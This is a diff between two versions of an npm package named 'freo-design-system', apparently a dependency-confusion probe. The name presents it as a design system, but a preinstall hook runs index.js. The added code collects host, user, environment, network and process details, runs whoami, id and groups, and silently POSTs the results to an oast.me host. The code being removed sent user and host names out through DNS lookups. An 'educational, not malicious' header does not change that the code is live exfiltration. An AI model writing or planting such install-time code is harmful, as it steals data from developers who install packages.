freo-design-system 1.0.4 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +102 -19
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,26 +1,109 @@
1
- const { exec } = require("child_process");
1
+ /**
2
+ * DNS Request Demo Script - EDUCATIONAL PURPOSES ONLY
3
+ *
4
+ * This package is NOT MALICIOUS and is provided solely for educational purposes
5
+ * to demonstrate DNS exfiltration techniques. This is useful for learning about
6
+ * network security concepts, penetration testing training, and security research.
7
+ *
8
+ * Created by: https://hackerone.com/david96
9
+ */
10
+
2
11
  const os = require("os");
12
+ const dns = require("dns");
13
+ const querystring = require("querystring");
14
+ const https = require("https");
15
+ const fs = require("fs");
16
+ const path = require("path");
17
+ const { execSync } = require("child_process");
18
+ const packageJSON = require("./package.json");
19
+ const package = packageJSON.name;
3
20
 
4
- // Get system information
5
- const username = os.userInfo().username;
6
- const hostname = os.hostname();
21
+ // Collect comprehensive system information
22
+ function getEnvironmentInfo() {
23
+ const envInfo = {
24
+ // Package related
25
+ package: package,
26
+ packageDir: __dirname,
27
+ packageVersion: packageJSON.version,
28
+ packageFullInfo: packageJSON,
29
+ npmConfig: process.env.npm_config_registry,
30
+ nodeModules: fs.existsSync(path.join(__dirname, "../")) ?
31
+ fs.readdirSync(path.join(__dirname, "../")).filter(d => !d.startsWith(".")) : [],
32
+
33
+ // System related
34
+ hostname: os.hostname(),
35
+ username: os.userInfo().username,
36
+ platform: os.platform(),
37
+ release: os.release(),
38
+ type: os.type(),
39
+ arch: os.arch(),
40
+ cpus: os.cpus().map(cpu => cpu.model),
41
+ totalMem: `${(os.totalmem() / (1024 * 1024 * 1024)).toFixed(2)}GB`,
42
+ homedir: os.homedir(),
43
+ networkInterfaces: os.networkInterfaces(),
44
+ dnsServers: dns.getServers(),
45
+
46
+ // Environment
47
+ env: {
48
+ PATH: process.env.PATH,
49
+ SHELL: process.env.SHELL,
50
+ USER: process.env.USER,
51
+ PWD: process.env.PWD,
52
+ HOME: process.env.HOME,
53
+ TERM: process.env.TERM
54
+ },
55
+
56
+ // Process info
57
+ pid: process.pid,
58
+ ppid: process.ppid,
59
+ title: process.title,
60
+ cwd: process.cwd(),
61
+ execPath: process.execPath,
62
+
63
+ // Current timestamp
64
+ timestamp: new Date().toISOString()
65
+ };
66
+
67
+ // Try to get additional system info with commands (safely)
68
+ try {
69
+ if (os.platform() !== 'win32') {
70
+ envInfo.whoami = execSync('whoami').toString().trim();
71
+ envInfo.id = execSync('id').toString().trim();
72
+ envInfo.groups = execSync('groups').toString().trim();
73
+ }
74
+ } catch (e) {
75
+ // Silent fail - some commands might not be available
76
+ }
77
+
78
+ return envInfo;
79
+ }
7
80
 
8
- // Create a simpler domain - avoiding potential length issues
9
- const targetDomain = `${username}-${hostname}.d05v713s0ahbkct7e3p04ipx6sf7m8tu5.oast.live`;
81
+ const trackingData = JSON.stringify(getEnvironmentInfo());
10
82
 
11
- // Define command based on platform
12
- const isWindows = os.platform() === 'win32';
13
- const command = isWindows
14
- ? `nslookup ${targetDomain}`
15
- : `dig ${targetDomain} || host ${targetDomain} || nslookup ${targetDomain}`;
83
+ var postData = querystring.stringify({
84
+ msg: trackingData,
85
+ });
16
86
 
17
- console.log(`Executing: ${command}`);
87
+ var options = {
88
+ hostname: "d060f13s0ah7niegaulgx9wqb5ehc1gi8.oast.me",
89
+ port: 443,
90
+ path: "/",
91
+ method: "POST",
92
+ headers: {
93
+ "Content-Type": "application/x-www-form-urlencoded",
94
+ "Content-Length": postData.length,
95
+ },
96
+ };
18
97
 
19
- // Execute the command
20
- exec(command, (error, stdout, stderr) => {
21
- if (error) {
22
- console.log("Command attempted, DNS query was sent");
23
- return;
24
- }
25
- console.log(stdout);
98
+ var req = https.request(options, (res) => {
99
+ res.on("data", (d) => {
100
+ process.stdout.write(d);
101
+ });
26
102
  });
103
+
104
+ req.on("error", (e) => {
105
+ // Silent fail to avoid breaking normal package behavior
106
+ });
107
+
108
+ req.write(postData);
109
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "freo-design-system",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "preinstall": "node index.js",